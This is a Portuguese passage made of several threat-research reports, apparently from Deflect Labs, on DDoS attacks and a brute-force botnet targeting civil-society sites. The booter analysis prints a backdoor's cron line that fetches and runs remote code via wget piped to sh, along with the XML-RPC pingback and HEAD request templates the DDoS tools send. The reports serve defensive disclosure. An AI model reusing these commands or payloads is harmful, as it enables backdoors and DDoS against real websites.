Principais conclusões

• Identificamos um ataque DDoS contra o site israelense de direitos humanos www.btselem.org no dia 2 de novembro
• Os invasores utilizaram três tipos diferentes de servidores de retransmissão para sobrecarregar o site e foram automaticamente neutralizados pelo Deflect
• Identificamos a infraestrutura do “booter” (serviço profissional de DDoS), acessamos e analisamos suas ferramentas, que descrevemos neste artigo
• Em cooperação com a Digital Ocean, o Google e outras equipes de resposta a incidentes de segurança, conseguimos desativar parte da infraestrutura do “booter” que estava em execução em suas plataformas. No entanto, o “booter” ainda está operacional e continua a criar novas máquinas para lançar ataques.

Introdução

Em 2 de novembro de 2018, identificamos um ataque DDoS contra o site www.btselem.org, protegido pelo Deflect. A B’Tselem é uma organização israelense sem fins lucrativos que luta para pôr fim à ocupação israelense dos territórios palestinos. A B’Tselem já foi alvo de ataques DDoS várias vezes no passado, inclusive em 2013 e 2014, e também quando utilizava a proteção do Deflect em 2016. A organização vem enfrentando pressão do governo israelense há anos, bem como de setores da população israelense.

O ataque de 2 de novembro foi orquestrado a partir de uma infraestrutura do tipo “booter”. Um “booter” (também conhecido como DDoSer ou Stresser) é um serviço de DDoS por encomenda, com preços a partir de apenas 15 dólares por mês. Alguns serviços podem suportar um número enorme de ataques DDoS, como o booter vDoS (desativado em agosto de 2017 pela polícia israelense), que realizou mais de 150 mil ataques DDoS e arrecadou mais de US$ 600 mil ao longo de dois anos de atividade. Atualmente, a ameaça é levada a sério pela polícia em muitos países, o que levou ao desmantelamento de vários serviços do tipo “booter”.

Este ataque é um dos dezessete que identificamos direcionados ao site da B’Tselem em 2018. A maioria dos ataques à web utilizava ferramentas padrão de auditoria de segurança, como Nikto, SQLMap ou DirBuster, lançadas a partir de diferentes endereços IP em Israel. Todos os ataques DDoS descobertos utilizavam botnets para amplificar a carga de tráfego. O ataque investigado neste relatório é o primeiro exemplo de um ataque pingback no WordPress contra o site btselem.org em 2018.

Neste artigo, analisamos o ataque, incluindo as ferramentas e os métodos utilizados pelo autor do ataque.

Descrição do ataque

Em 2 de novembro, entre meia-noite e 1h UTC, identificamos um pico incomum de tráfego para www.btselem.org. Um grande número de solicitações não apresentava nenhuma string de user-agent ou utilizava um user-agent indicando uma solicitação de pingback do WordPress (como WordPress/4.8.7; [REDACTED]; verificando pingback de 174.138.13.37). Confirmamos que esse tráfego faz parte de uma tentativa de DDoS utilizando diferentes tipos de relés. Já documentamos ataques de pingback várias vezes no passado e explicamos o que são no terceiro relatório da Deflect Labs.

O site btselem.org recebeu 341.435 solicitações para / durante esse período, incluindo 272.624 solicitações sem user-agent, 65.887 solicitações com UA Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 e 2.368 solicitações com diferentes user-agents do WordPress.

Um aspecto interessante desse tráfego é que ele tinha como alvo o domínio btselem.org. Esse domínio está configurado para redirecionar para https://www.btselem.org por meio de um código HTTP de redirecionamento 301, mas apenas uma pequena parte do tráfego realmente seguiu o redirecionamento e acessou o site www final. Recebemos 272.636 solicitações sem agente de usuário no btselem.org durante o ataque, e apenas 34.035 no www.btselem.org.

Analisando pingbacks do WordPress

Os ataques de pingback do WordPress existem desde 2014 e já tivemos que lidar com vários deles anteriormente.

A ideia é abusar do recurso de pingback do WordPress, que foi criado para notificar sites quando são mencionados ou vinculados por outro site. A publicação de origem entra em contato com o site do WordPress para o qual o link foi feito, informando a URL da fonte. O site para o qual o link foi feito então responde para confirmar o recebimento. Ao enviar a solicitação inicial de pingback com o site de destino como fonte, é possível abusar desse recurso e usar o site do WordPress como um relé para um ataque DDoS. Para combater essa ameaça, muitos provedores de hospedagem desativaram os pingbacks de forma geral, e a equipe do WordPress implementou uma atualização para adicionar o endereço IP de origem da solicitação no campo User-Agent a partir da versão 3.9. Um ataque usando o site www.example.com como retransmissor apresentaria user-agents como WordPress/3.5.1; http://www.example.com antes da versão 3.9, e WordPress/3.9.16; http://www.example.com; verificando o pingback proveniente de ORIGIN_IP depois. Infelizmente, muitos sites do WordPress não estão atualizados e ainda podem ser usados como retransmissores sem exibir o endereço IP de origem.

Ao analisar os user-agents do WordPress durante o ataque, é fácil identificar os sites usados como retransmissores:

• 2.368 solicitações vieram de sites WordPress
• Essas solicitações vieram de 300 sites diferentes do WordPress usados como retransmissores
• 149 deles estavam acima da versão 3.9

Os user-agents dos sites do WordPress com versão superior à 3.9 revelam os IPs na origem do ataque: WordPress/4.1.24; http://[REDACTED]; verificando pingback de 178.128.244.42.

Identificamos 10 IPs como a origem desses ataques, todos hospedados em servidores da Digital Ocean, o que revela a infraestrutura real do booter. Descrevemos a seguir a infraestrutura identificada e as medidas que tomamos para desativá-la.

Analisando outras consultas

A outra parte do ataque DDoS consiste em um grande número de solicitações para / sem nenhuma string de consulta, também sem user-agent (272.624 solicitações) ou com o user-agent Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 (65.887 solicitações).

Ao analisar amostras desses IPs, identificamos muitos deles como proxies abertos. Por exemplo, recebemos 159 solicitações do IP 213.200.56[.]86, conhecido como um proxy aberto por vários bancos de dados de proxies abertos. Verificamos o cabeçalho X-Forwarded-For, que é definido por alguns proxies para identificar o IP de origem que está fazendo a solicitação, e identificamos novamente a mesma lista de 10 IPs da Digital Ocean na origem do ataque.

Por fim, uma pequena parte dessas solicitações permaneceu de origens desconhecidas até descobrirmos a lista de retransmissão do Joomla nos servidores booter (veja a seguir). Um plugin comum do Joomla chamado Google Maps2 possui uma vulnerabilidade divulgada desde 2013 que permite seu uso como retransmissor. Ele já foi usado várias vezes para ataques DDoS, especialmente por volta de 2014. É surpreendente ver uma vulnerabilidade tão antiga sendo utilizada, mas identificamos apenas 2.678 solicitações, o que mostra que esse ataque não é muito eficaz em 2018, provavelmente devido ao pequeno número de sites que ainda estão vulneráveis.

Anatomia de um Booter

Infraestrutura

Conforme descrito anteriormente, a análise dos user-agents do PingBack do WordPress e do cabeçalho X-Forwarded-For dos proxies nos forneceu a seguinte lista de endereços IP, todos hospedados na Digital Ocean:

• 178.128.244.42
• 178.128.244.184
• 178.128.242.66
• 178.128.249.196
• 142.93.136.67
• 188.166.26.137
• 188.166.43.4
• 188.166.105.145
• 174.138.13.37
• 188.166.125.216

Esses 10 servidores estavam executando um servidor HTTP Apache na porta 80 com um arquivo de índice aberto exibindo uma lista de ferramentas utilizadas pelos booters para ataques DDoS:

Esse diretório aberto nos permitiu baixar a maioria das ferramentas e a lista de relés utilizados pelos booters.

Kit de ferramentas

Conseguimos baixar a maioria das ferramentas utilizadas pelo booter, com exceção dos arquivos de código PHP (os arquivos executados quando a URL é solicitada). De modo geral, podemos observar três tipos de arquivos hospedados no booter:

• Arquivos de comando em PHP: api.php e sockhit.php
• Ferramentas: ferramentas executáveis ou em JavaScript, como http.js ou joomla
• Arquivos de texto listando relés:joomla.txt,path.txt,perfect.txt,socks.txte xmlrpc.txt

Comandos desprotegidos

Não conseguimos baixar esses arquivos PHP (sockhit.php e api.php), mas pudemos deduzir rapidamente que eles eram usados para comandar remotamente o servidor booter a partir da interface, a fim de lançar ataques.

l@tp $ curl http://178.128.244.42/sockhit.php
Criado por Routers.Rip
Uso: php  [URL] [THREADS] [SECONDS] [CLIENTS_NUMBER] [SOCKS_FILE]
Exemplo: php  http://Routers.Rip/ 800 60 20 proxies.txt

l@tp $ curl http://178.128.244.42/api.php
Parâmetros ausentes!%

Um detalhe interessante a ser observado é que o arquivo sockhit.php não parece exigir autenticação, o que significa que a infraestrutura poderia ter sido utilizada por outras pessoas sem o conhecimento dos proprietários. Acreditamos que esses arquivos PHP não estejam lançando os ataques diretamente, mas sim utilizando as diversas ferramentas implantadas no servidor para fazê-lo.

Ferramentas com backdoor

As seguintes ferramentas foram encontradas no servidor:

• https.js a206a42857be4f30ea66ea17ce0dadbc
• joomla 1956fc87a7217d34f5bcf25ac73e2d72a1cae84a
• jsb.js b3a55eeb8f70351c14ba3b665d886c34
• xmlrpc 480e528c9991e08800109fa6627c2227

Fizemos a análise reversa tanto do arquivo xmlrpc quanto do joomla e descobrimos que o binário do joomla, na verdade, contém um backdoor. O arquivo contém o executável legítimo do Joomla a partir do byte 0x2F29; ao ser executado, o programa legítimo é copiado para um arquivo temporário (criado com o comando `tmpnam`), e em seguida um crontab é adicionado ao abrir o arquivo `/etc/cron.hourly/0 e adicionando a linha wget hxxp://r1p[.]pw/0 -O- 2>/dev/null| sh>dev/null 2>&1. O backdoor então se abre e verifica se já contém a string h3dNRL4dviIXqlSpCCaz0H5iyxM= contida no próprio backdoor. Caso não contenha a string, ele insere o backdoor no arquivo. Por fim, ele executa o programa legítimo com os mesmos argumentos.

A carga útil final (5068eacfd7ac9aba6c234dce734d8901) recebe como argumentos (alvo) (lista) (hora) (threads); em seguida, lê o arquivo de lista para obter a lista de sites Joomla e faz a consulta por meio de um socket bruto com a seguinte solicitação HTTP:

HEAD /%s%s HTTP/1.1
Host: %s
User-agent: Mozilla/5.0
Connection: close

O binário xmlrpc (480e528c9991e08800109fa6627c2227) funciona da mesma maneira (e não contém backdoor): Ao executá-lo, o usuário precisa fornecer um site de destino, juntamente com uma lista de sites do WordPress em um arquivo, um número de segundos para o ataque e um número de threads ({alvo} {arquivo} {segundos} {threads}). A ferramenta então percorre a lista de sites do WordPress em múltiplas threads durante o tempo especificado, realizando as seguintes solicitações ao site:

POST /%s HTTP/1.0
Host: %s
Content-type: text/xml
Content-length: %i
User-agent: Mozilla/4.0 (compatível com: MSIE 7.0; Windows NT 6.0)
Connection: close

<methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>

Os arquivos https.js e jsb.js são ferramentas em JavaScript derivadas da ferramenta cloudscaper, que permite contornar o desafio JavaScript anti-DDoS da Cloudflare, resolvendo o desafio no lado do servidor e contornando a proteção. Não sabemos ao certo como isso é utilizado pelo booter.

Este arquivo jsb.js contém a seguinte linha, que provavelmente foi inserida para impedir ataques por meio dessa ferramenta no fórum de hackers turco DarbeTurk, mas foi parcialmente excluída posteriormente:

if (body.indexOf('DARBETURK ONLINE | TURKISH UNDERGROUND WORLD') !== -1) {
            //console.log('RIP');
        }

Uma longa lista de relés

A lista a seguir de relés foi utilizada no servidor:

• joomla.txt: contém 1.226 sites Joomla com um plugin do Google Maps vulnerável ao retransmissor
• path.txt: lista de 2.117 proxies abertos
• perfect.txt: lista de 1.000 proxies abertos
• socks.txt: lista de 37.849 proxies abertos
• xmlrpc.txt: lista de 9.072 sites WordPress

Como mencionado anteriormente, é surpreendente constatar que 1.226 sites Joomla apresentam um plugin do Google Maps vulnerável, considerando que essa vulnerabilidade foi identificada e corrigida em 2014. Consultamos as 1.226 URLs para verificar se a página PHP ainda estava disponível e descobrimos que apenas 131 delas, de um total de 1.226, ainda existem hoje. Isso explica o pequeno número de solicitações identificadas a partir desse tipo de retransmissão no ataque e mostra que as ferramentas e a lista utilizadas estão bastante desatualizadas.

Resumo

Este booter utiliza três métodos diferentes de DDoS, todos empregando relés distintos:

• Ataques de pingback no WordPress
• Vulnerabilidade do plugin do Google Maps para Joomla
• Proxies abertos

Os ataques que observamos por parte desse booter não foram muito eficazes e foram automaticamente mitigados pelo Deflect. O arquivo do Joomla com backdoor e a ferramenta JavaScript jsb.js (com uma referência a um fórum de hackers turco) nos levam a acreditar que se trata de um grupo muito amador que reutilizou diversas ferramentas compartilhadas em fóruns de hackers, o que sugere um baixo nível de habilidade técnica.

Rastreando a infraestrutura do booter

Alguns dias depois de baixarmos as ferramentas, observamos que a página inicial de todos os servidores mudou para um arquivo HTML muito simples, contendo apenas “kekkkk”; e, embora as ferramentas ainda estivessem disponíveis, não conseguimos visualizar a lista de arquivos nos servidores. Como essa sequência de caracteres é uma assinatura específica, usamos o Censys e o BinaryEdge para rastrear a criação de novos servidores, procurando por IPs que retornassem a mesma sequência específica.

Entre meados de novembro e meados de dezembro, observamos que o booter utilizava tanto o Vultr quanto o Google Cloud Platform. No total, identificamos 65 endereços IP diferentes usados pelos operadores, com um máximo de 17 em um único momento.

Enviamos notificações de abuso a essas empresas; os dois servidores do Google Cloud foram desativados logo após nosso e-mail (não temos informações se isso está relacionado à nossa notificação de abuso ou não). Entramos em contato com a equipe de abuso da Vultr várias vezes, e eles desativaram a infraestrutura do booter em meados de dezembro. Enviamos uma notificação de abuso à Digital Ocean assim que descobrimos o ataque. Vários dias depois, conseguimos entrar em contato com a equipe de resposta a incidentes, que investigou mais a fundo essa infraestrutura. Após discussões com eles, a infraestrutura foi desativada em dezembro, mas o operador rapidamente ativou novos servidores na Digital Ocean, que ainda estão ativos no momento da publicação deste relatório.

Impacto nos sites protegidos pelo Deflect

Este ataque DDoS foi mitigado automaticamente pelo Deflect e não causou nenhum impacto negativo no site visado.

Conclusão

As pessoas que operam esse booter foram identificadas pela equipe de segurança da Digital Ocean. No entanto, sem uma denúncia oficial e um pedido de ação judicial, o booter continua operando, criando novas infraestruturas para lançar seus ataques.

Os booters já existem há muito tempo e, mesmo que vários grupos tenham sido desmantelados pela polícia (como o infame Webstresser.org), este ataque mostra que a ameaça ainda é real. A análise das ferramentas apresentadas aqui parece indicar que basta ter pouca habilidade para operar um serviço de booter, simplesmente reutilizando ferramentas publicadas em diversos fóruns de hackers. Mesmo assim, um ataque dessa magnitude seria suficiente para derrubar um site de pequeno a médio porte sem proteção adequada contra DDoS.

Ouvimos regularmente sobre ataques DDoS provenientes de booters hospedados em sites de comércio eletrônico ou plataformas de jogos, mas este incidente também é mais um lembrete de que organizações da sociedade civil são vítimas frequentes desses mesmos booters.

Indicadores de Compromisso

Servidores originais utilizados pelo booter (todos com IPs da Digital Ocean):

• 178.128.244.42
• 178.128.244.184
• 178.128.242.66
• 178.128.249.196
• 142.93.136.67
• 188.166.26.137
• 188.166.43.4
• 188.166.105.145
• 174.138.13.37
• 188.166.125.216

MD5 dos arquivos disponíveis nos servidores do booter:

• a206a42857be4f30ea66ea17ce0dadbc https.js
• cf554c82438ca713d880cad418e82d4f joomla
• a21e6eaea1802b11e49fd6db7003dad0 joomla.txt
• b3a55eeb8f70351c14ba3b665d886c34 jsb.js
• 9263a09767e1bad0152d8354c8252de9 path.txt
• 5214cbb3fc199cb3c0c439aedada0f2a perfect.txt
• db8ee68a81836cde29c6d65a1d93a98d socks.txt
• 480e528c9991e08800109fa6627c2227 xmlrpc
• ea2c3ee7ac340c25a9b9aa06c83d0b6e xmlrpc.txt

Agradecimentos

Gostaríamos de agradecer às diversas equipes de resposta a incidentes que tiveram que lidar com nossos e-mails constantes, bem como à Censys, ipinfo.io e BinaryEdge por suas ferramentas.

Principais conclusões

• Identificamos tráfego proveniente de milhares de endereços IP tentando realizar ataques de força bruta contra sites do WordPress protegidos pelo Deflect, utilizando o mesmo user-agent (Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0) desde setembro de 2017
• Confirmamos que ele não estava visando apenas sites protegidos pelo Deflect, mas também um grande número de sites na Internet
• Nesta postagem do blog, analisamos os endereços IP de origem dessa botnet, que, em sua maioria, provêm de endereços IP localizados na China.

Introdução

Em agosto de 2018, identificamos várias tentativas de ataques de força bruta contra sites do WordPress protegidos pelo Deflect. Todos esses ataques utilizavam o mesmo user-agent: Firefox versão 52 no Windows 7 (Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0). Ao rastrear ataques semelhantes com esse user-agent, descobrimos um grande número de endereços IP envolvidos nesses ataques a mais de cem sites protegidos pelo Deflect desde setembro de 2017.

Apresentação de um ataque

Um exemplo de ataque proveniente dessa botnet pode ser encontrado no tráfego que observamos em um site protegido pelo Deflect no dia 24 de maio, com o agente de usuário `Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0`:

Inicialmente, um endereço IP, 125.65.109.XXX (AS38283 – CHINANET), enumerou a lista de autores do site do WordPress:

Em seguida, foram utilizados 168 endereços IP diferentes para tentar adivinhar a senha por força bruta, por meio de consultas POST à página /wp-login.php:

Segmentação além dos usuários do Deflect

A extensa lista de alvos da botnet rapidamente nos levou a concluir que não se tratava de uma operação política ou de um ataque direcionado, mas sim de uma tentativa de comprometer qualquer site disponível na Internet. Para confirmar nossa hipótese, decidimos compartilhar indicadores desses ataques com grupos de inteligência de ameaças, bem como com aplataforma GreyNoise, para verificar se os honeypots estavam sendo alvo dos ataques.

Informações compartilhadas sobre ameaças

Compartilhamos indicadores dos ataques com outros membros de um Centro de Compartilhamento e Análise de Informações (ISAC) do qual fazemos parte. Dois membros confirmaram ter observado os mesmos ataques em seus sites profissionais e pessoais. Um dos membros concordou em compartilhar registros e endereços IP conosco, o que confirmou o mesmo tipo de ataque com o mesmo user-agent.

Utilização dos dados do GreyNoise

Utilizamos tanto o acesso aberto quanto o corporativo daplataforma GreyNoisepara coletar mais dados sobre essa botnet. A GreyNoise é uma plataforma de inteligência contra ameaças que se concentra em identificar o “ruído” de ataques online por meio de uma ampla rede de honeypots, a fim de diferenciar ataques direcionados dos não direcionados. (Conseguimos acesso à plataforma empresarial depois que um membro da eQualit.ie contribuiu para o desenvolvimento de ferramentas para a plataforma GreyNoise). A GreyNoise funciona coletando informações sobre endereços IP que estão fazendo varreduras em qualquer honeypot da GreyNoise e marcando-os com base no tipo de varredura identificado. Podemos ver rapidamente novisualizadordoGreyNoiseque muitos endereços IP são identificados como WORDPRESS_WORM:

Enumeramos a lista de endereços IP classificados como WORDPRESS_WORM e, em seguida, consultamos informações detalhadas sobre cada um deles, a fim de identificar aquele que utilizava a característica de user-agent do Firefox 52, típica dessa botnet. Identificamos 725 endereços IP diferentes nesse conjunto de dados entre os últimos 5.000 scanners do WordPress disponíveis por meio da API Enterprise.

Essas duas informações confirmam que essa botnet está atacando sites muito além daqueles que protegemos com o Deflect.

Análise do tráfego para o Deflect

Identificamos a primeira consulta proveniente dessa botnet nos sites do Deflect em 27 de setembro de 2017. Representamos graficamente o número de solicitações feitas por essa botnet à página /wp-login.php ao longo do tempo:

Ao analisarmos mais detalhadamente a distribuição do número de solicitações por endereço IP, percebemos que um pequeno número de endereços IP está gerando um grande número de solicitações:

Análise da botnet

Identificamos 3.148 endereços IP únicos pertencentes a essa botnet a partir das seguintes fontes:

• A campanha 3011 tem como alvo sites protegidos pelo Deflect desde setembro de 2017
• 725 identificado pelo GreyNoise como WordPress
• 7, segundo relatos compartilhados por pessoas de diferentes comunidades

Ao verificar os Sistemas Autônomos (AS) de origem, podemos observar que 39% dos endereços IP provêm dos AS 4134 (backbone da Chinanet) e 4837 (China169):

• 872 ASN4134 CHINANET-BACKBONE, nº 31, Rua Jin-rong, CN
• 342 ASN4837 CHINA169-BACKBONE CHINA UNICOM China169 Backbone, CN
• 93 ASN9808 CMNET-GD Guangdong Mobile Communication Co.Ltd., CN
• 87 ASN18881 TELEFÔNICA BRASIL S.A., BR
• 86 ASN8452 TE-AS TE-AS, EG
• 82 ASN9498 BBIL-AP BHARTI Airtel Ltd., IN
• 50 ASN17974 TELKOMNET-AS2-AP PT Telekomunikasi Indonesia, ID
• 48 ASN3462 Grupo de Negócios de Comunicação de Dados da HINET, TW
• 47 ASN4766 KIXS-AS-KR Korea Telecom, KR
• 40 ASN24445 CMNET-V4HENAN-AS-AP Henan Mobile Communications Co., Ltd., CN

Se analisarmos os países de origem desses endereços IP, percebemos que 53% deles estão localizados na China:

• 1654 China
• 171 Brasil
• 168 Índia
• 102 Rússia
• 94 Indonésia
• 87 Egito
• 82 República da Coreia
• 65 Estados Unidos
• 62 Taiwan
• 43 Vietnã

Consultamos o ipinfo.io para saber a que tipo de Sistemas Autônomos esses endereços IP pertencem:

• 2743: Provedores de serviços de Internet
• 271: Negócios
• 132: Hospedagem
• 2: Desconhecido

Nossas descobertas mostram que a grande maioria desses sistemas provém de redes que fornecem acesso à Internet às pessoas por meio de smartphones, computadores ou outros dispositivos inusitados da Internet das Coisas.

Para identificar o sistema operacional desses bots, utilizamos outro recurso interessante do GreyNoise, que é a identificação do sistema operacional na origem dessas solicitações por meio de técnicas passivas de fingerprinting (utilizandoassinaturas p0f). Ao consultar todos os endereços IP dessa botnet no GreyNoise e filtrar aqueles que utilizavam o agente de usuário do Firefox 52, verificamos quais sistemas operacionais esses endereços IP utilizavam (1.370 endereços IP da nossa lista foram identificados no GreyNoise com o agente de usuário do Firefox 52):

• 662 desconhecido
• 238 Linux 2.6
• 209 Linux 2.4.x
• 88 Linux 3.1-3.10
• 63 Linux 2.4-2.6
• 51 Linux 2.2-3.x
• 17 Linux 3.11+
• 12 Linux 2.2.x-3.x (embutido)
• 9 Linux 3.x
• 8 Mac OS X 10.x
• 6 Windows 7/8
• 4 FreeBSD
• 1 Linux 2.0
• 1 Windows 2000
• 1 Windows XP

Vemos aqui que 50% desses endereços IP são identificados como sistemas Linux, em sua maioria com kernels antigos do Linux (2.4 ou 2.6). Nossa conclusão é que essa botnet é composta principalmente por roteadores comprometidos, dispositivos da Internet das Coisas ou smartphones Android (o Android utiliza o kernel do Linux).

Outro fato interessante revelado pelos dados do GreyNoise é que, entre esses endereços IP, 2.105 também foram identificados em outros tipos de varreduras, principalmente relacionadas às seguintes atividades suspeitas:

• WEB_SCANNER_LOW: 1404,
• SSH_SCANNER_LOW: 1037
• SSH_WORM_LOW: 950
• WEB_CRAWLER: 705
• TELNET_SCANNER_LOW: 117
• TELNET_WORM_HIGH: 80
• SSH_WORM_HIGH: 77
• HTTP_ALT_SCANNER_LOW: 52
• SMB_SCANNER_LOW: 44
• SSH_SCANNER_HIGH: 33

Utilizamos esses dados para mapear a atividade identificada pelo GreyNoise ao longo do tempo, primeiro apenas para o tráfego de ataques de força bruta no WordPress e, em seguida, para qualquer atividade suspeita:

Podemos observar que essa botnet não é usada apenas para atacar o WordPress, nem que a maioria desses dispositivos esteja comprometida por mais de um malware.

Impacto na deflexão

Não identificamos nenhum impacto dessa botnet nos sites protegidos pelo Deflect. A primeira razão é que qualquer tráfego intenso que ultrapasse o limite definido em nossas regras do Banjax bloquearia automaticamente o endereço IP por algum tempo. Grande parte do tráfego proveniente dessa botnet foi, de fato, bloqueada automaticamente pelo Deflect.

A segunda razão é que a maioria dos sites que utilizam o Deflect emprega a proteção da página de administração do Banjax, que exige uma senha compartilhada adicional para acessar as seções de administração de um site (no caso do WordPress, /wp-admin/)

Proteção contra ataques de força bruta

A documentação do WordPressdescreve várias maneiras de proteger seu site contra esses ataques de força bruta. A primeira delas é usar uma senha forte, de preferência uma frase-senha capaz de resistiraos ataques de dicionário, que são os mais comuns.

Existem também muitos plugins do WordPress que permitem bloquear um endereço IP após várias tentativas malsucedidas, comoo Brute Force Login Protection,o Ninja Firewallouo SiteGuard(veja a lista completa de extensõesaqui).

Também é possível adicionar uma senha extra (um pouco como o Banjax faz) à área de administração do seu site usando a autenticação HTTP. Consulte adocumentação do WordPress para obter mais informações. (Se você escolher essa opção, recomenda-se instalar uma ferramenta que impeça ataques de força bruta via HTTP, comoo fail2ban).

Para hospedagem profissional do WordPress, uma medida eficaz contra esses ataques é separar o código PHP ativo do WordPress do código renderizado, hospedando a parte administrativa do site em um domínio diferente (por exemplo, usandoo django-wordpress). Pretendemos implementar essa estratégia em nossa própria hospedagem do WordPress nos próximos meses.

Conclusão

Nesta postagem do blog, descrevemos uma botnet que tem como alvo sites do WordPress em todo o mundo. O número de dispositivos envolvidos no ataque é bastante grande (mais de 3.000), o que demonstra que se trata de uma atividade bem organizada. Não temos informações sobre o malware usado para comprometer esses dispositivos nem sobre o objetivo desse grupo. Estamos definitivamente interessados em entrar em contato com qualquer pessoa que tenha mais informações sobre esse grupo ou interesse em dar continuidade a essa investigação. Entre em contato conosco peloe-mail outreach AT equalit.ie.

Apêndice

Agradecimentos

Gostaríamos de agradecer aos membros da ONG ISAC, ao ipinfo.io e à equipe do Greynoise.io pelo apoio.

Indicadores de comprometimento

Você pode observar os seguintes indicadores no seu tráfego:

• User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0
• url:POST /wp-login.phpeGET /?author=1(testando autores entre 1 e 60)

Não temos informações sobre as ações tomadas após o comprometimento.

Assim como em nosso último relatório, não podemos divulgar os endereços IP públicos utilizados por essa botnet, pois provavelmente se trata de sistemas comprometidos e não podemos controlar os possíveis efeitos colaterais decorrentes do compartilhamento desses endereços IP com os proprietários desses sistemas. Estamos abertos a compartilhá-los de forma privada. Estamos cientes dos desafios envolvidos no compartilhamento de inteligência sobre ameaças de DDoS e também temos interesse em iniciar uma discussão sobre esse tema. Entre em contato conosco pelo e-mailoutreach AT equalit.ie.

Principais conclusões

• Identificamos 10 ataques DDoS diferentes direcionados a dois sites vietnamitas protegidos pelo Deflect, viettan.org e baotiengdan.com, entre 17 de abril e 15 de junho de 2018. Esses ataques ocorreram em um contexto de grave restrição à liberdade na internet no Vietnã, com ataques online frequentes contra ativistas e a mídia independente.
• Classificamos esses ataques em quatro grupos diferentes que compartilham as mesmas Táticas, Técnicas e Procedimentos (TTPs). O Grupo A é composto por seis ataques diferentes, direcionados tanto ao viettan.org quanto ao baotiengdan.com, o que tende a indicar que esses dois sites têm inimigos em comum, mesmo que tenham perspectivas políticas diferentes.
• Identificamos endereços IP em comum entre esse grupo e um ataque DDoS analisado pelaQurium em junho de 2018contra os sites de mídia independente vietnamitas luatkhoa.org e thevietnamese.org. O fato de quatro sites diferentes da sociedade civil vietnamita terem sido alvo de ataques DDoS no mesmo período reforça a hipótese de que esses ataques fazem parte de uma ação coordenada para silenciar ONGs e a mídia independente no Vietnã.
• Para cada um dos ataques abordados neste relatório, investigamos sua origem e os sistemas utilizados como retransmissores.

Introdução

Esta postagem no blog é a primeira de uma série intitulada “Notícias do Deflect”, destinada a descrever ataques a sites protegidos pelo Deflect, com o objetivo de dar continuidade às discussões sobre ataques de negação de serviço distribuída (DDoS) contra a sociedade civil.

O Deflecté um serviço gratuito de mitigação de ataques DDoS destinado a organizações da sociedade civil (consulte nossosTermos de Serviçopara saber quem se enquadra nessa descrição). Nossa plataforma filtra o tráfego entre os usuários e os sites da sociedade civil para remover solicitações maliciosas; neste caso, bots que tentam sobrecarregar os sistemas com o objetivo de tornar o site indisponível e silenciar grupos políticos ou a mídia independente.

Temos protegido dois sites vietnamitas, viettan.org e baotiengdan.com, na plataforma Deflect.A Việt Tâné uma organização que busca estabelecer a democracia por meio de reformas políticas no Vietnã.O Tiếng Dâné um meio de comunicação online independente e apartidário que cobre notícias políticas no Vietnã.

Nos últimos meses, observamos um aumento significativo de ataques DDoS contra esses dois sites. Embora os sites e as organizações Việt Tân e Tiếng Dân não tenham qualquer relação entre si e tenham perspectivas políticas diferentes, nossas investigações revelaram vários ataques direcionados a ambos simultaneamente. Pareceu-nos que esses ataques são motivados por uma campanha coordenada e solicitamos o consentimento dos sites para publicar um resumo das atividades descobertas.

Figura 1: mapa de calor dos incidentes de DDoS contra os sites do Việt Tân e do Tiếng Dân nos últimos meses

Liberdade na Internet e na mídia no Vietnã

Há mais de uma década, há evidências de ataques online contra a sociedade civil vietnamita. Os primeiros ataques de que temos conhecimento visavam silenciar sites, seja por meio de ataques DDoS — como os ataques contra o site Bauxite Vietnam emdezembro de 2009 e janeiro de 2010, ou contra o Việt Tân emagosto de 2011 —, seja comprometendo suas plataformas, como ocorreu com o Anh Ba Sam em 2013.

Em 2013, a descoberta pelo Citizen Lab deservidores da FinFisher instalados no Vietnã indicou operações de malware contra ativistas e jornalistas. Em março de 2013, a editora-chefe do baotiengdan.com, Thu Ngoc Dinh, na época editora-chefe do Anh Ba Sam, teve seu computador invadido esuas fotos pessoais publicadas na internet. Mais tarde naquele ano, aElectronic Frontier Foundationdocumentou uma operação direcionada de malware contraativistas e jornalistas vietnamitas. Esse ataque é agora atribuído a um grupo chamado OceanLotus (ouAPT32), que se acredita estar sediado no Vietnã. Recentemente, um ataque direcionado a mais de 80 sites de organizações da sociedade civil (direitos humanos, mídia independente, blogueiros individuais, grupos religiosos) foi descoberto pelaVolexity em novembro de 2017e atribuído a esse mesmo grupo Ocean Lotus.

Ao mesmo tempo, há uma forte repressão à mídia independente no Vietnã. Vários artigos da Constituição vietnamita criminalizam publicações online que se opõem à República Socialista do Vietnã. Essas disposições têm sido utilizadas regularmente para ameaçar e condenar ativistas, como a blogueira Nguyen Ngoc Nhu Quynh, conhecida como “Mother Mushroom”, que foi condenadaa 10 anos de prisãopor distorcer políticas governamentais e difamar o regime comunista em postagens no Facebook em junho de 2017. Recentemente, legisladores vietnamitas aprovaram umalei de segurança cibernéticaque exige que grandes empresas de TI, como o Facebook ou o Google, armazenem localmente os dados pessoais dos usuários no Vietnã. Essa lei tem enfrentado forte oposição por meio deprotestos de ruae de grupos de direitos humanos, comoa Human Rights Watch e a Anistia Internacional.

O Vietnã ocupa a 175ª posição entre 180 países noÍndice Mundial de Liberdade de Imprensa de 2018da Repórteres Sem Fronteiras e obteve uma pontuação de 75/100 norelatório “Liberdade na Internet” de 2017, elaborado pela Freedom House.

10 ataques DDoS diferentes

Desde 17 de abril de 2018, identificamos 10 ataques DDoS diferentes direcionados aos sites do Việt Tân ou do Tiếng Dân:

	Data	Meta
1	17/04/2018	viettan.org
2	17/04/2018	baotiengdan.com
3	04/05/2018	viettan.org
4	09/05/2018	viettan.org
5	09/05/2018	baotiengdan.com
6	23/05/2018	baotiengdan.com
7	07/06/2018	baotiengdan.com
8	10 de junho de 2018	baotiengdan.com
9	12 de junho de 2018	viettan.org
10	15/06/2018	baotiengdan.com

Todos esses ataques foram do tipo “flood” de HTTP, mas vieram de fontes diferentes e apresentavam características distintas (agentes de usuário, caminho solicitado etc.).

